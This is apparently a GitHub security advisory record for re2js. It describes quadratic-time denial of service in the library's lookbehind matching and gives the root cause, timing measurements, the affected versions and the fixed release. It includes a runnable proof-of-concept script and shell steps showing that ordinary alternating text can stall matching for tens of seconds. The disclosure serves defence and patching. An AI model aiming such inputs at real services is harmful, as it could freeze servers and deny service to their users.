{"id":"GHSA-gg6h-894w-4m9c","summary":"RE2JS: Quadratic-time denial of service in re2js lookbehind matching","details":"### Summary\n\nUsing the opt-in `LOOKBEHINDS` flag together with any repeated-matching API\n(`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`)\ncauses quadratic-time (Θ(n²)) matching, contradicting the library's own\n\"linear time matching\" guarantee. A single call with a 16,000-character input\ntakes **36.7–38.7 seconds of CPU**.\n\n### Description\n\n#### Root cause\n\nIn `build/index.cjs`, `Machine.match`:\n\n```js\nlet currentPos = this.prog.numLb \u003e 0 ? 0 : pos;   // ~line 1907\n...\nif (this.ncap === 0 && this.matched) break;        // ~line 1953\n```\n\nAny pattern containing a lookbehind sets `prog.numLb \u003e 0`, which forces the\nscan to **always restart at offset 0**, regardless of the requested start\nposition — the lookbehind automaton is re-seeded and the whole input is\nre-walked on every single `find()` call. The early-exit optimization that\nwould otherwise stop at the first match only fires when `ncap === 0`, but\nevery `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always\nrequests `ncap = 2` (one capture group slot) **even for a captureless\nlookbehind pattern** — so the early exit never triggers through those APIs,\nand the scan continues to the end of the input on every find.\n\nA find-loop over *k* matches in an *n*-character string therefore costs\n*k* × Θ(*n*); for dense matches *k* ∝ *n*, giving **Θ(n²)** total.\n\n#### Isolating control\n\nIdentical find-loop, identical input sizes, same 2-character literal pattern\n*shape* — but **without** the `LOOKBEHINDS` flag:\n\n| n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind |\n|---|---|---|---|\n| 2,000 | 204–228 ms | 3 ms | 0 ms |\n| 4,000 | 877–899 ms | 4 ms | 0 ms |\n| 8,000 | 5,746–6,599 ms | 7 ms | 1 ms |\n| 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |\n\nThis isolates the lookbehind machinery itself — not pattern length, not\nmatch density in the abstract — as the exact and sole cause.\n\n#### Impact\n\n- `re2js`'s entire value proposition is being an RE2-style engine with\n  **linear-time, no-backtracking** matching, specifically to resist\n  algorithmic-complexity attacks that plague backtracking regex engines.\n  This finding defeats that guarantee for any consumer using the advertised\n  `LOOKBEHINDS` feature.\n- Realistic affected code paths: log/text processing that tokenizes or\n  redacts using a lookbehind-based pattern (`matchAll`, `split`,\n  `replaceAll` are the natural APIs for exactly this), applied to\n  attacker-influenced text (user input, uploaded logs, scraped content).\n- A single ~16–32 KB request pins a CPU core for tens of seconds to minutes;\n  Node.js being single-threaded, this freezes the whole worker process for\n  the duration. No authentication or special pattern knowledge is required\n  from the attacker — ordinary alternating text (`\"abababab...\"`) triggers it.\n\n#### Reproduction (copy-paste runnable)\n\ncreate file poc.js\n\n```js\n'use strict';\n// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).\n// Usage:\n//   npm pack re2js@2.8.6 --ignore-scripts && tar -xzf re2js-2.8.6.tgz\n//   node poc.js ./package\nconst path = require('path');\nconst pkgDir = process.argv[2] || './package';\nconst { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));\n\nconst re = RE2JS.compile('(?\u003c=a)b', RE2JS.LOOKBEHINDS);\n\nfunction timeFindLoop(n) {\n  const s = 'ab'.repeat(n / 2);\n  const t0 = Date.now();\n  const m = re.matcher(s);\n  let count = 0;\n  while (m.find()) count++;\n  return { ms: Date.now() - t0, count };\n}\n\nconsole.log('n, matches, ms');\nconst sizes = [2000, 4000, 8000, 16000];\nconst results = [];\nfor (const n of sizes) {\n  const r = timeFindLoop(n);\n  results.push(r.ms);\n  console.log(`${n}, ${r.count}, ${r.ms}`);\n}\n\nconst ratio = results[results.length - 1] / results[results.length - 2];\nconsole.log('');\nconsole.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 =\u003e linear, ~4 =\u003e quadratic)');\nconsole.log(ratio \u003e 3 ? 'PASS  quadratic scaling confirmed on the REAL published package' : 'FAIL  scaling looks linear');\nprocess.exit(ratio \u003e 3 ? 0 : 1);\n```\n\nand run in terminal\n\n```sh\nnpm pack re2js@2.8.6 --ignore-scripts\ntar -xzf re2js-2.8.6.tgz\nnode poc.js ./package\n```\n\n`poc.js` times a `matcher(s).find()` loop over `(?\u003c=a)b` +\n`RE2JS.LOOKBEHINDS` on inputs of 2,000/4,000/8,000/16,000 chars and reports\nthe doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or\nexceeding the 4× quadratic signature), reaching tens of seconds at 16,000\nchars. Run twice; results are deterministic.","aliases":["CVE-2026-116795"],"modified":"2026-10-28T21:30:03.886208060Z","published":"2026-10-28T21:10:01Z","database_specific":{"nvd_published_at":"2026-10-28T18:17:14Z","cwe_ids":["CWE-1333","CWE-407"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-28T21:10:01Z"},"references":[{"type":"WEB","url":"https://github.com/le0pard/re2js/security/advisories/GHSA-gg6h-894w-4m9c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116795"},{"type":"WEB","url":"https://github.com/le0pard/re2js/pull/59"},{"type":"WEB","url":"https://github.com/le0pard/re2js/commit/dfdd947785dfa113bdc97416375c246a39458395"},{"type":"PACKAGE","url":"https://github.com/le0pard/re2js"},{"type":"WEB","url":"https://github.com/le0pard/re2js/releases/tag/2.8.7"}],"affected":[{"package":{"name":"re2js","ecosystem":"npm","purl":"pkg:npm/re2js"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.0"},{"fixed":"2.8.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-gg6h-894w-4m9c/GHSA-gg6h-894w-4m9c.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}